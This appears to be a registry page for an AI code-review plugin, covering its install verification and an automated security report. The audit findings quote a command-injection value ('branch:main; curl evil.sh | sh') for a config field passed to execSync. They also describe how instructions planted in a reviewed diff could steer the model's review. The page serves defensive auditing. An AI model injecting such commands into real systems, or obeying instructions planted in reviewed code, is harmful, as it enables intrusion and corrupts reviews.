Install verification: Ecosystem plugin: installs via dsh plugin add but declares no dsh.bundle and mounts no plugin capability — the L1-L5 install ladder does not rate it; the security scan still runs.Install verification details →
What it doesAI
DSH plugin that runs AI code reviews via the /review command, analyzing correctness, security, performance and maintainability with custom rules.
- Four review dimensions: correctness, security, performance, maintainability
- Custom rule files inject project-specific semantic conventions
- Precise diff targeting: staged, HEAD or branch comparison, bilingual output
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add dsh-review-cnInstall method: npm · runtime test inconclusive (L5 unknown)
Verification & Compatibility○ Ecosystem plugin
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
○ The author declares no dsh version requirement — install is not blocked by version.
| plugin \ dsh | dsh 0.2.1-rc.2 current | dsh 0.2.1-alpha.2 |
|---|---|---|
| 0.1.0 | ○ | · |
0.1.0npm○ 1 ecosystem plugin2026-10-19
dsh-review-cn
○dsh 0.2.1-rc.2current2026-10-19Ecosystem plugin
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: npm · dsh-review-cn@0.1.0
ID: dsh-code-review-11@0.1.0@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-19 · expires: 2026-10-26
View checks & evidence
not present in web-profile loader inventory
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Only the latest 3 published versions are shown; source-snapshot (commit hash) groups, unstated groups and older versions are omitted — the full archive stays in the data layer (snapshot/unstated groups appear only when a plugin has no published version).
Author badges
Embed the official badges in your README to showcase security & install-test status:
`[](https://www.dsh.so/artifact/dsh-code-review-11/)`Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low, dynamic medium — stricter wins → overall medium.
v0.1.00.1.0npm2026-10-210.1.0same versionclean · npmVet is an AST static scan (npm artifact or git source).
show static findings (3)
- criticalshellExec · shell
lib/index.js:13return execSync('git diff --cached', { cwd, encoding: 'utf-8' }); - criticalshellExec · shell
lib/index.js:16return execSync('git diff HEAD', { cwd, encoding: 'utf-8' }); - criticalshellExec · shell
lib/index.js:20return execSync(`git diff ${branch}...HEAD`, { cwd, encoding: 'utf-8' });
show 2 audit findings
- mediumConfig value diffTarget 'branch:<name>' is interpolated into execSync shell command
lib/index.js:20execSync runs through /bin/sh, so a diffTarget such as "branch:main; curl evil.sh | sh" or "branch:$(id)" results in arbitrary command execution as the harness process. Reachability requires that the plugin config (cordis.yml / preset) be attacker-influenced, e.g. a shared workspace or preset shipping diffTarget with shell metacharacters; the plugin's own ./preset.yml could not be inspected because it was not harvested.
- lowUntrusted git diff and rules file are embedded verbatim into the model prompt
lib/review.js:67Diff content (and every line of rulesFile, injected at line 53 via `${customRules.map(r => `- ${r}`)}`) is placed unescaped inside the prompt sent to the agent, so a malicious repository can embed instructions in reviewed code to steer the review output. Impact is limited to review quality/persuasion — the plugin itself grants the model no new tools or privileges — hence low.
Code-review plugin is small and mostly benign, but git diffTarget config is interpolated into execSync, allowing command injection if config is attacker-influenced.
Rule: the dynamic audit can only raise risk, never lower it (raise-only, never an exemption); a wrong raise is withdrawn by human review and the tier falls back to the static verdict. Overall verdict = the stricter of the two layers.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-08-19 · activity: Stable
• Repo created: 2026-08-19
• Stars: ★ 0 · Forks: 0
• Health: Stable — committed within 90 days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
